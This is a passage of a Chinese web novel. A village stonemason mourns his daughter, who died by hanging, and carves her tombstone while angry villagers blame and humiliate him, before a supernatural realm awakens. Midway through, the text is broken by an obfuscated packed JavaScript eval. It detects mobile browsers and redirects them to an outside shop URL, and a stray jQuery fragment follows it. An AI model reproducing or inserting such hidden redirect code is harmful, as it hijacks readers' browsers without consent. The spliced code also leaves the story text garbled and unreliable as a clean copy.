‘叮叮叮!’
王大眼来这个村子前,还没有王大眼这个诨名。
大眼是他来这个村子后,因为有次被蜂蛰了,一只眼大,一只眼小,被人笑着才有了这么一个外号。
而外号叫久了,渐渐地就取代了他的本名,这么叫着,时间久了,王大眼有时候都忘了自己叫什么。
‘叮!’
不过这人啊,总归要叫回本名的,不然不白白浪费了爹妈取的这个名字了。
凿子落下,又是一声‘叮铃’脆响,听得王大眼的心也是跟着颤了颤,可又是那么的让他心安。
他心想,这尘封多年的老手艺,也没生,也还拿得出去。
不过,这咋这么别扭呢,明明都刻过那么多人的了,咋到了自己这,哪哪瞧着都不对,这块可不能给翠翠丫头。
不然她准得嫌弃,她那么爱漂亮一丫头。
泪水不自觉地盈满眼眶,模糊了视线,令王大眼无法看清眼前事物,更别说下凿子了。
你说明明是那么爱漂亮一丫头,怎么就选了这么个死法呢,又丑又辛苦……
他吸吸鼻子,抬手抹去泪水,努力让自己不去想,可越是这样,他脑海中就越是回忆起那一天。
那是一个和往常一样的早晨,他做好早饭,就去叫女儿来吃。
接连敲了几次门都没人应,起初王大眼也没在意,以为女儿昨夜又睡得晚,还在赖床呢,于是他就又去忙活自己的了。
可一直到晚上,女儿房里也没动静,王大眼这才慌了。
门,又敲了好几次,‘咚咚咚’的,却没有半点回应。
不会出事了吧?王大眼心里冒出这么个念头,他慌乱着去推门,原以为紧闭的门轻而易举地就被他给推开了。
这结果并没有让王大眼感到惊喜,因为——
就在上方,他看见了他的女儿,王翠翠的尸体。
一向白净粉嫩,打扮的漂漂亮亮的脸蛋上一片青紫,双眼凸出,面容扭曲……
这么丑,这么难受的事,明明放在平时是她最不喜欢的,可那天,那天……
王大眼的眼睛再次被泪水模糊,他抬起袖子用力一擦,不想再想下去了,但那天的画面,却不断在他脑海中浮现,甚至越来越清晰。
王大眼只能让自己忙起来,忙起来就能不去想了。
‘叮叮当当’在很长的一段时间里,除了凿子落在石碑上的声音外,便再没有其他声音。
喧闹又宁静,直到几声突如其来的喧哗,打破了这一切。
“王大眼,你看你女儿把我们害得,你还我爷命来!”
一个大汉怒气冲冲地走来,头上还系着白麻布,在他后面还跟着几个面带悲怒的男男女女。
王大眼刚要落下的动作,因为这一声怒喝,而被迫停了下来,他站起身,看向身后,带着几分无措。
他不知道这些人是怎么找到这里来的,但他知道他们找来是要做什么,所以,绝不能让他们看见。
王大眼急匆匆地想要将地上东西收起,可他的速度哪有别人看来的眼快。
大汉一走近就看见了地上的石碑,他不大识字,认不出上面写的是什么,但这东西他是认得的,是墓碑。
一认出这东西是什么,大汉心中怒火就更甚,他以为这是王大眼做来给他家的,心中那叫一个气,连悲伤都让了一头。
几个大步,气冲冲的跑到王大眼跟前,就要去砸了那墓碑,“你以为你替我爷做个墓碑,我就能原谅你吗?做梦!我告诉你王大眼,这事没完!”
“你误会了,那不是……”
他速度太快,王大眼根本就阻拦不及,只能眼睁睁看着他将那块才做好的墓碑,给砸了个稀巴烂。
但还好,那块是做给他自己的,被砸了也没事,他可以随便再找块看得过去的石头做,王大眼如此安慰着自己。
目光一转,他心道,唯独那块不行。
顺着王大眼的目光看去,在他右旁,有个布包裹,四四方方,光这么瞧着,还真看不出里面是什么东西。
大汉原本没注意到那里,但看王大眼一直往那边盯着瞧,注意力也不由放了过去。
“那是什么。”他嘟囔着就要走过去,掀开包裹来看。
可王大眼哪会真这么任由他过去,脚步一跨,挡在了大汉跟前,“那里没什么的,大家伙听我解释,我会给你们大家一个交代的,求你们再给我一点时间好不好,就三天不,一天,一天时间好不好。”
大汉被他挡着,心里更加好奇,根本不听王大眼的话,推开他就走了过去,布条一掀,里面也是个石碑,只是还没有刻字。
又一块?
真是晦气。
哪怕村子近日一直在死人,自己家中也在办丧事,可面对这些东西,大汉心中仍是忍不住感叹一声晦气。
他扔下布条,本想就此作罢,但一想到王大眼如此焦急这块石碑,眼珠子一转,心中突然又有了新的主意,他开始蓄力。
王大眼虽不知他想要做什么,但看他那眼神,就知道不妙,赶忙起身,想要去阻止。
可他晚了一步,一口唾沫被吐在了光滑的石碑上。
“啊!”王大眼悲吼着冲了过去,不顾脏污,拿着衣袖猛擦着石面,可越擦那块痕迹就越是明显。
湿润润的一条彰示着难以抹去的痕迹。
大汉被他的举动吓了一跳,但旋即他又感到无比的解气。
之前无论他们怎么去骂王大眼,怎么去打他,欺辱他,他都和没事发生似的,就嘴上说几句对不起对不起。
最近这几天更是,连对不起都没有了,总是说什么让他们给他些时间,他一定会给他们一个交代什么的。
他们给他时间,那谁给他们时间?他们死去的亲人能够再活过来吗?他们这些人又能得救吗?
交代,能有什么交代!
怒气再次涌上来,大汉上前扯开王大眼,招呼着其他人上来,一起往石碑上再吐上几口唾沫。
他的力气太大,远不是王大眼所能抵抗的,他只能哭着喊着让其他人不要这么做。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14289697|152095||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“求求你们了,不要不要,就只有这个,求求你们不要。”王大眼想要冲过去阻止,却抵不过他人阻拦。
到最后,他只能跪伏在地上,不住的朝着众人磕头,恳求着众人不要这么做。
他头上鲜血不断滴落,模糊了他的视线,可即便如此,他也仍没有停下,不住地磕着头,不住的哀求。
可他低估了其他人心中失去至亲的悲伤愤怒,也低估了他们对死亡未知的恐惧,一个发泄点出现,这些情绪立马找到了出处,齐齐奔涌而去。
原本只是一点湿痕的石面,很快就出现了第二,第三。
王大眼悲痛欲绝,竭力挣脱阻拦,扑到石碑上,疯狂擦拭起来,鲜血混着泪水将本就污浊了的石碑,变得更加脏乱不堪。
“怎么擦不干净,怎么擦不干净,啊……”王大眼哭着,哀嚎着,满脸绝望。
看着王大眼哭得如此的撕心裂肺,痛不欲生,大汉等人却不觉半分内疚,反而觉得无比的畅快。
他们高笑着骂着王家父女,“王大眼你记住了,这都是你活该,别以为你们做个破墓碑就可以弥补你们犯下的错,我告诉你,你们父女俩就是个灾星!是祸害!”
“灾星……祸害……”听着这一声声辱骂,王大眼停下了手中动作,他低头看着手下还未来得及刻字的石碑,恍惚中他似乎看到了那张熟悉的笑脸。
她娇娇的看着他,不住地向他撒娇,“爹,爹,我想要那个,那个好看,你就给我买嘛~好不好,爹~”
王大眼牵动着嘴角,想要同样露出笑容回应着她,可是眼前哪有人?
不过是一块脏了的石碑,以及无尽的血色。
除此外,什么,都没有,都没有……
“啊,哈哈哈……”王大眼原以为自己笑不出来了,可不知怎的,他竟有些发笑,灾星,祸害。
“哈哈哈……”他们是灾星祸害,那他们,他们这些人又是什么!
‘滋啦——’
灰暗的天空突然彻底暗了下来,远在王家的卓青萍心下一惊。
她看着这无尽的夜色,心知这定是诡境主人苏醒了!
是她猜错了,她之前以为诡境主人是在王翠翠,刘岩,陈东,以及四壬班班主这四人中,却完全忽略了王父的存在。
他才是这个诡境的主人!
但事已至此,再懊恼也无济于事,卓青萍收回目光,看向眼前空无一人的房间。
刚才,在她戳穿王翠翠已死后,‘王翠翠’便化作一缕青烟,消失在了原地。
面对这一景象,卓青萍暗自思忖,这莫非就是诡邪,书上记载,诡邪由有灵智的生物的执念所形成。
执念一旦被戳破,诡邪便无攻自破,自行消散。
他们刚才所看到的这个王翠翠,应是王父的执念。
他心知王翠翠已死,却又无法接受她的死亡,强烈心愿下所生出的执念,化作诡邪。
便出现了一个不人不鬼的‘王翠翠’
感叹间,卓青萍目光不经意中扫过桌面,她忽地凝住,那是。